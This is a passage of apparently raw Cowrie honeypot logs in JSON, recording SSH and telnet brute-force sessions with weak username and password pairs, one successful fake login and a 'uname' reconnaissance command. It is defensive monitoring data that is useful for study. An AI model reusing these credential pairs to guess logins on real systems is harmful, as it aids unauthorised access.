-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:25.315967Z","src_ip":"95.215.8.165","session":"946e3bec1d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"develop","message":"login attempt [dev/develop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:25.785782Z","src_ip":"95.215.8.165","session":"946e3bec1d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47192,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0a7a2d7834","protocol":"ssh","message":"New connection: 176.65.132.129:47192 (10.17.0.5:22) [session: 4e0a7a2d7834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:25.924060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:26.043967Z","src_ip":"176.65.132.129","session":"4e0a7a2d7834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:26.047667Z","src_ip":"176.65.132.129","session":"4e0a7a2d7834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:26.380414Z","src_ip":"176.65.132.129","session":"4e0a7a2d7834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:26.929238Z","src_ip":"95.215.8.165","session":"946e3bec1d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:27.468136Z","src_ip":"176.65.132.129","session":"4e0a7a2d7834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":57092,"dst_ip":"159.203.135.109","dst_port":23,"session":"c36c506244bb","protocol":"telnet","message":"New connection: 64.227.82.147:57092 (159.203.135.109:23) [session: c36c506244bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:28.771934Z"}
{"eventid":"cowrie.session.closed","duration":40.706238985061646,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:29.022434Z","src_ip":"38.60.198.128","session":"50fc499a82a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47206,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f6afd66601d","protocol":"ssh","message":"New connection: 176.65.132.129:47206 (10.17.0.5:22) [session: 0f6afd66601d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:29.291121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:29.295677Z","src_ip":"176.65.132.129","session":"0f6afd66601d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:29.377898Z","src_ip":"176.65.132.129","session":"0f6afd66601d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:29.621507Z","src_ip":"176.65.132.129","session":"0f6afd66601d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:29.839336Z","src_ip":"176.65.132.129","session":"0f6afd66601d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:29.844138Z","src_ip":"176.65.132.129","session":"0f6afd66601d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:29.930806Z","src_ip":"176.65.132.129","session":"0f6afd66601d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:29.936136Z","src_ip":"176.65.132.129","session":"0f6afd66601d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.31623411178589,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:30.414557Z","src_ip":"192.211.53.160","session":"c04be6ad2df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47212,"dst_ip":"10.17.0.5","dst_port":22,"session":"129dead8b593","protocol":"ssh","message":"New connection: 176.65.132.129:47212 (10.17.0.5:22) [session: 129dead8b593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:32.514367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:32.518636Z","src_ip":"176.65.132.129","session":"129dead8b593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.859884023666382,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:32.544635Z","src_ip":"64.227.82.147","session":"43ad0824034f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:32.607239Z","src_ip":"176.65.132.129","session":"129dead8b593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:32.858847Z","src_ip":"176.65.132.129","session":"129dead8b593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":37008,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3ee663f03e0","protocol":"ssh","message":"New connection: 46.253.45.10:37008 (10.17.0.5:22) [session: b3ee663f03e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:32.889924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:32.894908Z","src_ip":"46.253.45.10","session":"b3ee663f03e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:33.008107Z","src_ip":"46.253.45.10","session":"b3ee663f03e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1230","message":"login attempt [root/admin1230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:33.483985Z","src_ip":"46.253.45.10","session":"b3ee663f03e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:33.944625Z","src_ip":"176.65.132.129","session":"129dead8b593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":38104,"dst_ip":"10.17.0.5","dst_port":22,"session":"15bf10f57a2a","protocol":"ssh","message":"New connection: 167.172.73.9:38104 (10.17.0.5:22) [session: 15bf10f57a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:34.324452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:34.328976Z","src_ip":"167.172.73.9","session":"15bf10f57a2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:34.565196Z","src_ip":"167.172.73.9","session":"15bf10f57a2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:34.597642Z","src_ip":"46.253.45.10","session":"b3ee663f03e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sophia","password":"test123","message":"login attempt [sophia/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:35.544908Z","src_ip":"167.172.73.9","session":"15bf10f57a2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50248,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc3b506fe2b","protocol":"ssh","message":"New connection: 176.65.132.129:50248 (10.17.0.5:22) [session: 2bc3b506fe2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:35.786054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:35.838538Z","src_ip":"176.65.132.129","session":"2bc3b506fe2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:35.984070Z","src_ip":"176.65.132.129","session":"2bc3b506fe2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:36.230489Z","src_ip":"176.65.132.129","session":"2bc3b506fe2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.283769369125366,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:36.460035Z","src_ip":"192.211.53.160","session":"02f4101f8a79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:36.784189Z","src_ip":"167.172.73.9","session":"15bf10f57a2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:37.313862Z","src_ip":"176.65.132.129","session":"2bc3b506fe2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.574878931045532,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:38.346698Z","src_ip":"64.227.82.147","session":"c36c506244bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50270,"dst_ip":"10.17.0.5","dst_port":22,"session":"f233b0836d94","protocol":"ssh","message":"New connection: 176.65.132.129:50270 (10.17.0.5:22) [session: f233b0836d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:38.986319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:38.994472Z","src_ip":"176.65.132.129","session":"f233b0836d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:39.075468Z","src_ip":"176.65.132.129","session":"f233b0836d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:39.318527Z","src_ip":"176.65.132.129","session":"f233b0836d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:40.449687Z","src_ip":"176.65.132.129","session":"f233b0836d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50294,"dst_ip":"10.17.0.5","dst_port":22,"session":"5901cbd39a63","protocol":"ssh","message":"New connection: 176.65.132.129:50294 (10.17.0.5:22) [session: 5901cbd39a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:42.331450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:56:42.335947Z","src_ip":"176.65.132.129","session":"5901cbd39a63","protocol":"ssh"}
